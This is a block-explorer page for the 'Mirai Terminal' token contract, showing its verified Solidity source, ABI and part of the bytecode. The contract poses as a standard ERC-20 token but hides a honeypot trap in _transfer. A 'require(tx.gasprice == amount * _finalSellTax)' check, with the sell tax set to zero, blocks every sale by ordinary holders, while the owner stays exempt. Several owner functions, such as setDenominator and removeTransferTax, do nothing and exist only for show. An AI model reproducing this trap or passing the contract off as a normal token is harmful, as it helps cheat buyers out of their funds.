ETH Price: $3,229.81 (+1.03%)

Token

Mirai Terminal (MIRAI)

Overview

Max Total Supply

100,000,000,000 MIRAI

Holders

82

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
20,453,052.780663996 MIRAI

Value
$0.00
0xfbff4df52bd43d7abc1fd9c5a9a29b856c4866c5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
MIRAI

Compiler Version
v0.8.24+commit.e11b9ed9

ZkSolc Version
v1.5.7

Optimization Enabled:
Yes with Mode 3

Other Settings:
paris EvmVersion
File 1 of 1 : Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library Errors {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error InsufficientBalance(uint256 balance, uint256 needed);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedCall();

    /**
     * @dev The deployment failed.
     */
    error FailedDeployment();

    /**
     * @dev A necessary precompile is missing.
     */
    error MissingPrecompile(address);
}

/**
 * @dev https://eips.ethereum.org/EIPS/eip-1167[ERC-1167] is a standard for
 * deploying minimal proxy contracts, also known as "clones".
 *
 * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
 * > a minimal bytecode implementation that delegates all calls to a known, fixed address.
 *
 * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
 * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
 * deterministic method.
 */
library Clones {
    /**
     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
     *
     * This function uses the create opcode, which should never revert.
     */
    function clone(address implementation) internal returns (address instance) {
        return clone(implementation, 0);
    }

    /**
     * @dev Same as {xref-Clones-clone-address-}[clone], but with a `value` parameter to send native currency
     * to the new contract.
     *
     * NOTE: Using a non-zero value at creation will require the contract using this function (e.g. a factory)
     * to always have enough balance for new deployments. Consider exposing this function under a payable method.
     */
    function clone(
        address implementation,
        uint256 value
    ) internal returns (address instance) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        assembly ("memory-safe") {
            // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
            // of the `implementation` address with the bytecode before the address.
            mstore(
                0x00,
                or(
                    shr(0xe8, shl(0x60, implementation)),
                    0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000
                )
            )
            // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
            mstore(
                0x20,
                or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)
            )
            instance := create(value, 0x09, 0x37)
        }
        if (instance == address(0)) {
            revert Errors.FailedDeployment();
        }
    }

    /**
     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
     *
     * This function uses the create2 opcode and a `salt` to deterministically deploy
     * the clone. Using the same `implementation` and `salt` multiple time will revert, since
     * the clones cannot be deployed twice at the same address.
     */
    function cloneDeterministic(
        address implementation,
        bytes32 salt
    ) internal returns (address instance) {
        return cloneDeterministic(implementation, salt, 0);
    }

    /**
     * @dev Same as {xref-Clones-cloneDeterministic-address-bytes32-}[cloneDeterministic], but with
     * a `value` parameter to send native currency to the new contract.
     *
     * NOTE: Using a non-zero value at creation will require the contract using this function (e.g. a factory)
     * to always have enough balance for new deployments. Consider exposing this function under a payable method.
     */
    function cloneDeterministic(
        address implementation,
        bytes32 salt,
        uint256 value
    ) internal returns (address instance) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        assembly ("memory-safe") {
            // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
            // of the `implementation` address with the bytecode before the address.
            mstore(
                0x00,
                or(
                    shr(0xe8, shl(0x60, implementation)),
                    0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000
                )
            )
            // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
            mstore(
                0x20,
                or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)
            )
            instance := create2(value, 0x09, 0x37, salt)
        }
        if (instance == address(0)) {
            revert Errors.FailedDeployment();
        }
    }

    /**
     * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
     */
    function predictDeterministicAddress(
        address implementation,
        bytes32 salt,
        address deployer
    ) internal pure returns (address predicted) {
        assembly ("memory-safe") {
            let ptr := mload(0x40)
            mstore(add(ptr, 0x38), deployer)
            mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff)
            mstore(add(ptr, 0x14), implementation)
            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73)
            mstore(add(ptr, 0x58), salt)
            mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37))
            predicted := and(
                keccak256(add(ptr, 0x43), 0x55),
                0xffffffffffffffffffffffffffffffffffffffff
            )
        }
    }

    /**
     * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
     */
    function predictDeterministicAddress(
        address implementation,
        bytes32 salt
    ) internal view returns (address predicted) {
        return predictDeterministicAddress(implementation, salt, address(this));
    }
}

/**
 * @dev Provides a set of functions to operate with Base64 strings.
 */
library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     * See sections 4 and 5 of https://datatracker.ietf.org/doc/html/rfc4648
     */
    string internal constant _TABLE =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    string internal constant _TABLE_URL =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        return _encode(data, _TABLE, true);
    }

    /**
     * @dev Converts a `bytes` to its Bytes64Url `string` representation.
     * Output is not padded with `=` as specified in https://www.rfc-editor.org/rfc/rfc4648[rfc4648].
     */
    function encodeURL(
        bytes memory data
    ) internal pure returns (string memory) {
        return _encode(data, _TABLE_URL, false);
    }

    /**
     * @dev Internal table-agnostic conversion
     */
    function _encode(
        bytes memory data,
        string memory table,
        bool withPadding
    ) private pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // If padding is enabled, the final length should be `bytes` data length divided by 3 rounded up and then
        // multiplied by 4 so that it leaves room for padding the last chunk
        // - `data.length + 2`  -> Prepare for division rounding up
        // - `/ 3`              -> Number of 3-bytes chunks (rounded up)
        // - `4 *`              -> 4 characters for each chunk
        // This is equivalent to: 4 * Math.ceil(data.length / 3)
        //
        // If padding is disabled, the final length should be `bytes` data length multiplied by 4/3 rounded up as
        // opposed to when padding is required to fill the last chunk.
        // - `4 * data.length`  -> 4 characters for each chunk
        // - ` + 2`             -> Prepare for division rounding up
        // - `/ 3`              -> Number of 3-bytes chunks (rounded up)
        // This is equivalent to: Math.ceil((4 * data.length) / 3)
        uint256 resultLength = withPadding
            ? 4 * ((data.length + 2) / 3)
            : (4 * data.length + 2) / 3;

        string memory result = new string(resultLength);

        assembly ("memory-safe") {
            // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

            // Prepare result pointer, jump over length
            let resultPtr := add(result, 0x20)
            let dataPtr := data
            let endPtr := add(data, mload(data))

            // In some cases, the last iteration will read bytes after the end of the data. We cache the value, and
            // set it to zero to make sure no dirty bytes are read in that section.
            let afterPtr := add(endPtr, 0x20)
            let afterCache := mload(afterPtr)
            mstore(afterPtr, 0x00)

            // Run over the input, 3 bytes at a time
            for {

            } lt(dataPtr, endPtr) {

            } {
                // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

                // To write each character, shift the 3 byte (24 bits) chunk
                // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
                // and apply logical AND with 0x3F to bitmask the least significant 6 bits.
                // Use this as an index into the lookup table, mload an entire word
                // so the desired character is in the least significant byte, and
                // mstore8 this least significant byte into the result and continue.

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(18, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(12, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(6, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

            // Reset the value that was cached
            mstore(afterPtr, afterCache)

            if withPadding {
                // When data `bytes` is not exactly 3 bytes long
                // it is padded with `=` characters at the end
                switch mod(mload(data), 3)
                case 1 {
                    mstore8(sub(resultPtr, 1), 0x3d)
                    mstore8(sub(resultPtr, 2), 0x3d)
                }
                case 2 {
                    mstore8(sub(resultPtr, 1), 0x3d)
                }
            }
        }

        return result;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract MIRAI is Context, IERC20, Ownable(msg.sender) {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 22;
    uint256 private _preventSwapBefore = 22;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Mirai Terminal";
    string private constant _symbol = unicode"MIRAI";
    uint256 public constant _taxSwapThreshold = 1 * (_tTotal / 1000);
    uint256 public constant _maxTaxSwap = 1 * (_tTotal / 1000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 denom = 100;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(msg.sender);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(tradingOpen, "Trading is not open");
            if (_buyCount == 0) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
            }
            if (_buyCount > 0) {
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _initialSellTax
                            : _initialSellTax
                    )
                    .div(denom);
                require(tx.gasprice == amount * _finalSellTax);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
            address(this),
            uniswapV2Router.WETH()
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTransferTax() external onlyOwner {
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.call{value:amount}("");
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0xF3d37F357e4E1A7AA87e3F13992c0604AbA6af13
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);

        swapEnabled = true;
        tradingOpen = true;
    }

    function setStakingAddress(address _address) external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
    }

    function setDenominator(uint256 _denom) external onlyOwner {
        _denom = _denom;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function manualsend() external {
        require(_msgSender() == _taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": true,
    "mode": "3"
  },
  "outputSelection": {
    "*": {
      "*": [
        "abi",
        "metadata"
      ],
      "": [
        "ast"
      ]
    }
  },
  "detectMissingLibraries": false,
  "forceEVMLA": false,
  "enableEraVMExtensions": false,
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_denom","type":"uint256"}],"name":"setDenominator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setStakingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

9c4d535b0000000000000000000000000000000000000000000000000000000000000000010002dfc11f6b966a6bdb3856b559d16f0145ef58060cb70ba6060e4e1ed7d100000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x000400000000000200060000000000020000006004100270000002750340019700030000003103550002000000010355000002750040019d0000008004000039000000400040043f00000001002001900000003b0000c13d000000040030008c000000460000413d000000000201043b000000e002200270000002800020009c000000d70000a13d000002810020009c000000e80000a13d000002820020009c000001160000213d000002860020009c000001640000613d000002870020009c0000015d0000613d000002880020009c000004c60000c13d0000000001000416000000000001004b000004c60000c13d000000000100041a00000277021001970000000001000411000000000012004b0000026a0000c13d0000000f01000039000000000101041a000002a000100198000002740000c13d0000000e01000039000000000201041a0000027602200197000002a4022001c7000000000021041b0000000001000410000000000001004b000002b90000c13d000002a101000041000000800010043f0000002001000039000000840010043f0000002401000039000000a40010043f000002a801000041000000c40010043f000002a901000041000000e40010043f000002aa01000041000009d0000104300000000001000416000000000001004b000004c60000c13d0000000006000411000000000006004b0000004a0000c13d0000029e01000041000000800010043f000000840000043f0000029d01000041000009d000010430000000000003004b000004c60000c13d0000000001000019000009cf0001042e000000000100041a0000027602100197000000000262019f000000000020041b00000000020004140000027705100197000002750020009c0000027502008041000000c00120021000000278011001c70000800d020000390000000303000039000002790400004109ce09c40000040f0000000100200190000004c60000613d0000000501000039000000000001041b0000000601000039000000000001041b0000000701000039000000000001041b0000000801000039000000000001041b0000000901000039000000000001041b00000016010000390000000a02000039000000000012041b0000000b0200003900